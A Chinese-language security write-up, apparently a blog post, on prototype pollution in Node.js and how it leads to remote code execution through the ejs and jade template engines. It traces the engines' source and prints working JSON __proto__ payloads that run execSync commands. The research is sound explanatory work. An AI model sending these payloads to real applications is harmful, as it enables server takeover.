关于nodejs的ejs和jade模板引擎的原型链污染挖掘

 

原型链污染的原理

对于语句: object[a][b] = value 如果可以控制a, b, value的值, 将a设置为__proto__, 我们就可以给object对象的原型设置一个b属性, 值为value. 这样所有继承object对象原型的实例对象会在本身不拥有b属性的情况下, 都会拥有b属性, 且值为value.

例子

object_1 = {"a":"user", "b":"ricky"};
object_1.__proto__.words = "nodejs is great!";
console.log(object_1.words)
object_2 = {"c":"user", "b":"ricky"}
console.log(object_2.words)

结果如下

20210324142341834

最终会输出两个 nodejs is great, 我们对 object_1 的原型对象设置了一个 words 属性,而 object_2 和 object_1 一样,都是继承了 Object.prototype , 而在获取 object_2.words 的时候, 由于 object_2 本身不具备 words 属性, 就会通过父类 Object.prototype 去寻找, 这就构造了原型链污染. 所以原型链污染简单来说就是如果能够控制并修改一个对象的原型, 就可以影响到所有和这个对象同一个原型的对象.

常用污染函数

常用的污染方式有 merge() 函数, clone() 内核, 还有 copy() 函数, 例如

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
}

var user = new function(){
    this.userinfo = new function(){
        this.isVIP = false;
        this.isAdmin = false;
    };
}

body=JSON.parse('{"__proto__":{"__proto__":{"query":"Ricky is admin!"}}}');
copy(user.userinfo,body);
console.log(user.userinfo);
console.log(user.query);

user.query 被赋值为 Ricky is admin!, 说明了我们污染成功, 使得user 去它的 __proto____proto__ 里找 query 的变量

{ isVIP: false, isAdmin: false }
Ricky is admin!

在JSON解析的情况下, __proto__ 会被认为是一个真正的”键名”, 而不代表”原型”, 所以在遍历 body 的时候会存在这个键

 

ejs 模板引擎 RCE

RCE的前提是需要有原型链污染, 例如一个简单的登录界面

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;    
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: 'login success!'});  
  }else{
    return res.json({ret_code: 2, ret_msg: 'login fail!'});  
  }

});

跟进 copy() 函数可以看到合并两个数组内容到第一个数组

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

那我们就有一个可以污染的口子, 在 app.js 里可以得知使用的是 ejs 模板引擎

app.engine('html', require('ejs').__express); 
app.set('view engine', 'html');

ejs 的 renderFile 进入

exports.renderFile = function () {
...
return tryHandleCache(opts, data, cb);
};

跟进 tryHandleCache 函数, 发现一定会进入 handleCache 函数

20210325202412778

跟进 handleCache 函数

function handleCache(options, template) {
...
    func = exports.compile(template, options);
...
}

然后跟进 complie 函数, 会发现有大量的渲染拼接

20210324160037116

如果能够覆盖 opts.outputFunctionName , 这样我们构造的payload就会被拼接进js语句中,并在 ejs 渲染时进行 RCE

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var __tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2 = __append;'
// 拼接了命令语句

在污染了原型链之后, 渲染直接变成了执行代码, 经过 return 体前返回, 即可 getshell, POC 如下

{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}

{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}

进行 copy 函数后, 此时 outputFunctionName 已经在全局变量中被复制了, 可以在 Global 的 __proto____proto____proto__ 下找到我们的污染链

20210324161845122

再次刷新页面进行渲染时就会把我们写入的拼接, 执行我们输入的命令

20210324233311854

同样 ejs 模板还存在另一处 RCE

var escapeFn = opts.escapeFunction;
var ctor;
...
    if (opts.client) {
    src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
    if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
    }
}

伪造 opts.escapeFunction 也可以进行 RCE

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}

可以看到 escapeFunction 已经在全局变量中被复制了

20210324235742551

再次刷新页面进行渲染时就会把我们写入的拼接, 执行我们输入的命令

20210324235856661

添加 "debug":true 污染时可以在调试时候看到自己赋值的命令

20210325002617947

补充: 在 ejs 模板中还有三个可控的参数, 分别为 opts.localsNameopts.destructuredLocalsopts.filename, 但是这三个无法构建出合适的污染链

有一处调用 localsName, 污染会报错

fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);

污染 destructuredLocals

if (opts.destructuredLocals && opts.destructuredLocals.length) {
        var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';
        for (var i = 0; i < opts.destructuredLocals.length; i++) {
          var name = opts.destructuredLocals[i];
          if (i > 0) {
            destructuring += ',\n  ';
          }
          destructuring += name + ' = __locals.' + name;
        }
        prepended += destructuring + ';\n';
      }

作为数组不太好处理

污染 filename 被 JSON.stringify 进行转换了, 无法逃逸出来, 因此也无法污染函数代码

if (opts.compileDebug) {
  src = 'var __line = 1' + '\n'
    + '  , __lines = ' + JSON.stringify(this.templateText) + '\n'
    + '  , __filename = ' + (opts.filename ?
    JSON.stringify(opts.filename) : 'undefined') + ';' + '\n'
    + 'try {' + '\n'
    + this.source
    + '} catch (e) {' + '\n'
    + '  rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
    + '}' + '\n';
}

 

jade 模板引擎 RCE

原型链的污染思路和 ejs 思路很像, 从 require('jade').__express 进入 jade/lib/index.js

exports.__express = function(path, options, fn) {
  if(options.compileDebug == undefined && process.env.NODE_ENV === 'production') {
    options.compileDebug = false;
  }
  exports.renderFile(path, options, fn);
}

跟进 renderFile 函数

exports.renderFile = function(path, options, fn){
...
return handleTemplateCache(options)(options);
};

返回的时候进入了 handleTemplateCache 函数, 跟进

20210325203227271

会进入 complie 方法, 跟进

20210325203504979

jade 模板和 ejs 不同, 在compile之前会有 parse 解析, 尝试控制传入 parse 的语句

20210325204216262

在 parse 函数中主要执行了这两步, 最后返回的部分

  var body = ''
    + 'var buf = [];\n'
    + 'var jade_mixins = {};\n'
    + 'var jade_interp;\n'
    + (options.self
      ? 'var self = locals || {};\n' + js
      : addWith('locals || {}', '\n' + js, globals)) + ';'
    + 'return buf.join("");';
  return {body: body, dependencies: parser.dependencies};

options.self 可控, 可以绕过 addWith 函数, 回头跟进 compile 函数, 看看作用

20210325204630223

返回的是 buf, 跟进 visit 函数

20210325205015036

如果 debug 为 true, node.line 就会被 push 进去, 造成拼接 (两个参数)

jade_debug.unshift(new jade.DebugItem( 0, "" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//
// 注释符注释掉后面的语句

在返回的时候还会经过 visitNode 函数

visitNode: function(node){
    return this['visit' + node.type](node);}

经过测试 visit 开头的函数, 结果如下

visitAttributes
visitBlock
visitBlockComment √
visitCase
visitCode √
visitComment √
visitDoctype √
visitEach
visitFilter
visitMixin
visitMixinBlock √
visitNode
visitLiteral
visitText
visitTag
visitWhen

然后就可以返回 buf 部分进行命令执行

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}

原型链污染成功

20210325211227433

补充: 针对 jade RCE链的污染, 普通的模板可以只需要污染 self 和 line, 但是有继承的模板还需要污染 type

 

小结

关于 ejs 和 jade 模板的语句拼接, 官方承认不是一个漏洞, 原型链的危害很大, 但是原型链污染攻击有个弊端,就是一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响!

写了个简单的 POC 生成脚本, 直接生成两个模板引擎的 POC, 上传到了github

感谢各位读者可以耐心地读到这里, 希望您对原型链污染有了更深刻的认识, 可能还有遗漏的, 希望各位师傅踊跃提出!

(完)